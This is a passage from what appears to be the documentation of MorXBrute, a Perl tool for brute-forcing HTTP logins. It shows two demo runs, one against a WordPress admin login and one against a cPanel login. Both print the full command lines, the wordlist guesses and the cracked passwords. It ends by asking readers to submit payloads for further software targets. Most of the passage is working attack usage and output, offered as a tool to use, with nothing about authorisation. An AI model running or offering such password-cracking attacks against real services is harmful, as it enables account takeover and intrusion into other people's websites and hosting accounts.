first two. Demo: POST Method: root@MorXploit:/home/simo/MorXBrute# perl MorXBrute.pl demo.opensourcecms.com:80 admin word.lst payloads/wordpressv3.7.1 =================================================== — MorXBrute v1.0 Beta HTTP password cracking tool — By Simo Ben youssef — www.morxploit.com =================================================== [*] target set to demo.opensourcecms.com:80 [*] user set to admin [*] Wordlist set to word.lst [*] payload set to payloads/wordpressv3.7.1 [+] Cracking … [-] test -> Failed [-] test123 -> Failed [-] testtest -> Failed [-] testest123 -> Failed [-] qwerty -> Failed [-] azerty -> Failed [-] password -> Failed [-] password123 -> Failed [-] x3demob -> Failed ============================================================ [+] CRACKED! Your password is demo123 [+] Found at line 10 of word.lst [+] Cracked in 6 seconds ============================================================ GET Method: root@MorXploit:/home/simo/MorXBrute# perl MorXBrute.pl x3demob.cpx3demo.com:2082 x3demob word.lst payloads/cpanelgetprov1.0 =================================================== — MorXBrute v1.0 Beta HTTP password cracking tool — By Simo Ben youssef — www.morxploit.com =================================================== [*] target set to x3demob.cpx3demo.com:2082 [*] user set to x3demob [*] Wordlist set to word.lst [*] payload set to payloads/cpanelgetprov1.0 [+] Cracking … [-] test -> Failed [-] test123 -> Failed [-] testtest -> Failed [-] testest123 -> Failed [-] qwerty -> Failed [-] azerty -> Failed [-] password -> Failed [-] password123 -> Failed ============================================================ [+] CRACKED! Your password is x3demob [+] Found at line 9 of word.lst [+] Cracked in 4 seconds ============================================================ TODO: Add SSL suport Add a payload generator And maybe more? Submit your payloads: Your contribution is needed! Please submit your payloads to simo_at_morxploit_com Make sure to include software/service details such as name, URL and version number Also please feel free to submit all your suggestions and bugs. Thanks and happy MorXBruteForcing! Source: MorXBrute HTTP Password cracking tool